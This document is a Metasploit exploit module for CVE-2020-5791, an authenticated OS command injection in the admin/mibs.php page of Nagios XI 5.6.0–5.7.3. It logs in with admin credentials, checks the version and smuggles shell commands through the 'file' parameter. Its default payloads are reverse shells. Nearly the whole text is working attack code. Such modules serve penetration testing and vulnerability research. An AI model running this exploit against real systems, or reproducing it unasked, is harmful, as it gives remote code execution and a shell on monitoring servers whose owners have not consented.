Nagios XI 5.7.3 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection',  
'Description' => %q{  
This module exploits CVE-2020-5791, an OS command injection vulnerability in  
`admin/mibs.php` that enables an authenticated user with admin privileges to achieve  
remote code execution as either the `apache` user or the `www-data` user on NagiosXI  
version 5.6.0 to 5.7.3 inclusive (exact user depends on the version of NagiosXI  
installed as well as the OS its installed on).  
  
Valid credentials for a Nagios XI admin user are required. This module has  
been successfully tested against Nagios XI 5.7.3 running on CentOS 7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Lyne', # discovery  
'Matthew Aberegg', # PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2020-5791'],  
['EDB', '48959']  
],  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' =>  
[  
[  
'Linux (x86/x64)', {  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'CMD', {  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'unix',  
# the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-10-20',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
def check  
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns  
# an array containing the http response body of a get request to index.php and the session cookies  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result  
return CheckCode::Unknown(install_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is still not fully installed  
return CheckCode::Detected('Failed to install Nagios XI on the target.')  
end  
end  
  
# when 5 is excluded from the case statement above to prevent having to use this code block twice.  
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.  
if login_result == 5 # the Nagios XI license agreement has not been signed  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return CheckCode::Unknown(sign_license_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3  
return CheckCode::Unknown(res_array[0])  
when 5 # the Nagios XI license agreement still has not been signed  
return CheckCode::Detected('Failed to sign the license agreement.')  
end  
end  
  
print_good('Successfully authenticated to Nagios XI')  
  
# Obtain the Nagios XI version  
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already  
  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}")  
  
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'  
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.  
end  
  
# check if the target is actually vulnerable  
version = Rex::Version.new(nagios_version)  
if version >= Rex::Version.new('5.6.0') && version <= Rex::Version.new('5.7.3')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
# execute payload  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'mibs.php'),  
'cookie' => @auth_cookies,  
'vars_get' =>  
{  
'mode' => 'undo-processing',  
'type' => '2',  
'file' => ";#{cmd};"  
}  
}, 0) # don't wait for a response from the target, otherwise the module will in most cases hang for a few seconds after executing the payload  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
print_status('Executing the payload')  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`